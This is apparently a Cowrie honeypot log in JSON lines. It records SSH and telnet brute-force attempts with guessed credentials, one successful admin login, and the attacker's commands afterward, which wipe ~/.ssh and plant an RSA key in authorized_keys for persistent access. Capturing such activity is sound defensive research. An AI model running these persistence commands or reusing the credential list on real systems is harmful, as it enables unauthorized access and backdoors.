{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:16.611349Z","src_ip":"165.154.5.148","session":"7ab23b4016b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234rewq!","message":"login attempt [root/1234rewq!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:17.512403Z","src_ip":"165.154.5.148","session":"7ab23b4016b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:18.730403Z","src_ip":"165.154.5.148","session":"7ab23b4016b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191688537598,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:19.623823Z","src_ip":"176.29.26.223","session":"514d35294312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":34774,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e4c9a1db2f","protocol":"telnet","message":"New connection: 176.29.26.223:34774 (159.203.135.109:23) [session: 88e4c9a1db2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:21.131464Z"}
{"eventid":"cowrie.session.closed","duration":120.00161337852478,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:21.648916Z","src_ip":"176.29.26.223","session":"36aea8c4df6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":24830,"dst_ip":"159.203.135.109","dst_port":23,"session":"71899e441b52","protocol":"telnet","message":"New connection: 176.29.26.223:24830 (159.203.135.109:23) [session: 71899e441b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:23.582447Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45052,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b45c0c9417c","protocol":"ssh","message":"New connection: 159.203.92.129:45052 (159.203.135.109:22) [session: 2b45c0c9417c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:28.439115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:28.443533Z","src_ip":"159.203.92.129","session":"2b45c0c9417c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:28.448114Z","src_ip":"159.203.92.129","session":"2b45c0c9417c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz!QAZ","message":"login attempt [admin/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:28.457920Z","src_ip":"159.203.92.129","session":"2b45c0c9417c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:29.464442Z","src_ip":"159.203.92.129","session":"2b45c0c9417c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":59790,"dst_ip":"10.17.0.5","dst_port":22,"session":"430b0e3c09f3","protocol":"ssh","message":"New connection: 176.53.96.10:59790 (10.17.0.5:22) [session: 430b0e3c09f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:29.776409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:29.781815Z","src_ip":"176.53.96.10","session":"430b0e3c09f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:29.906825Z","src_ip":"176.53.96.10","session":"430b0e3c09f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle10","password":"oracle10","message":"login attempt [oracle10/oracle10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:30.420444Z","src_ip":"176.53.96.10","session":"430b0e3c09f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:28:31.544646Z","src_ip":"176.53.96.10","session":"430b0e3c09f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":56836,"dst_ip":"10.17.0.5","dst_port":22,"session":"48e0737ce073","protocol":"ssh","message":"New connection: 165.154.5.148:56836 (10.17.0.5:22) [session: 48e0737ce073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.935074Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55122,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c1366980099","protocol":"ssh","message":"New connection: 159.203.92.129:55122 (159.203.135.109:22) [session: 6c1366980099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.939355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.944658Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.948473Z","src_ip":"159.203.92.129","session":"6c1366980099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.953761Z","src_ip":"159.203.92.129","session":"6c1366980099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz#EDC","message":"login attempt [admin/1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:10.965337Z","src_ip":"159.203.92.129","session":"6c1366980099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:11.162121Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:11.973696Z","src_ip":"159.203.92.129","session":"6c1366980099","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:12.059897Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:12.539604Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:12.542702Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:12.546424Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:12.766055Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.256720Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.260042Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.481622Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.485661Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":33468,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b001961a0ce","protocol":"ssh","message":"New connection: 165.154.5.148:33468 (10.17.0.5:22) [session: 6b001961a0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.696477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.701250Z","src_ip":"165.154.5.148","session":"6b001961a0ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:13.919476Z","src_ip":"165.154.5.148","session":"6b001961a0ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:14.857461Z","src_ip":"165.154.5.148","session":"6b001961a0ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:16.080618Z","src_ip":"165.154.5.148","session":"6b001961a0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":33482,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa153239f2f","protocol":"ssh","message":"New connection: 165.154.5.148:33482 (10.17.0.5:22) [session: 7aa153239f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:16.291178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:16.296864Z","src_ip":"165.154.5.148","session":"7aa153239f2f","protocol":"ssh"}
